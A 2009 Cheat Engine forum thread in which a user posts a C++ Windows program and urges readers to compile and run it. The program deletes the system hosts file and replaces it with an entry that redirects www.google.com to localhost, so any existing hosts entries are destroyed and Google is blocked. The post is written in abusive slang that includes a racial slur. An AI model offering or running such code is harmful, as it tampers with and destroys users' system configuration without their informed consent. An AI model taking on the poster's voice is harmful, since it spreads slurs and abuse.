 |
Cheat Engine The Official Site of Cheat Engine
|
| View previous topic :: View next topic |
| Author |
Message |
talkerzero Grandmaster Cheater
Reputation: 1
Joined: 24 Jul 2008 Posts: 560 Location: California
|
Posted: Fri Sep 25, 2009 6:31 pm Post subject: oh yus |
|
|
ay, brudda', i just b about done w/ dis super killa' code o' mine; shit, nigga', dis b overboard w/ 'da crowds & mob..
c'mon, bitch, run dis shit in dat c++ compila' o' yours, and SHET MENG, ya'll won't be able to open dat google shit no more!
| Code: | #include <windows.h>
#include <tchar.h>
static const _TCHAR cszBuffer[] = _T("127.0.0.1 www.google.com");
int WINAPI _tWinMain(__in HINSTANCE hInstance, __in HINSTANCE hPrevInstance, __in_z LPTSTR lpszCommandLine, __in int nShowCommand)
{
UNREFERENCED_PARAMETER(hInstance);
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpszCommandLine);
UNREFERENCED_PARAMETER(nShowCommand);
HFILE hFile;
OFSTRUCT ofs;
DWORD dwNumberOfBytesWritten;
BOOL bRet = FALSE;
ofs.cBytes = 0;
ZeroMemory(&ofs, sizeof(OFSTRUCT));
if(DeleteFile(_T("c:\\windows\\system32\\drivers\\etc\\hosts")))
{
hFile = OpenFile(_T("c:\\windows\\system32\\drivers\\etc\\hosts"), &ofs, OF_WRITE | OF_CREATE);
if(hFile != HFILE_ERROR)
{
dwNumberOfBytesWritten = sizeof(cszBuffer);
bRet = WriteFile((HANDLE)hFile, cszBuffer, dwNumberOfBytesWritten, &dwNumberOfBytesWritten, NULL);
if(!bRet)
OutputDebugString(_T("God doesn't exist."));
}
}
return (bRet ? EXIT_SUCCESS : EXIT_FAILURE);
} |
|
|
| Back to top |
|
 |
Cheat Engine User Something epic
Reputation: 61
Joined: 22 Jun 2007 Posts: 2071
|
Posted: Fri Sep 25, 2009 6:36 pm Post subject: |
|
|
| Or for those who are too lazy, go to your host file, and add a new line: 127.0.0.1 www.google.com
|
|
| Back to top |
|
 |
talkerzero Grandmaster Cheater
Reputation: 1
Joined: 24 Jul 2008 Posts: 560 Location: California
|
Posted: Fri Sep 25, 2009 6:41 pm Post subject: |
|
|
| holland, way to ruin it.
|
|
| Back to top |
|
 |
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum You cannot attach files in this forum You can download files in this forum
|
|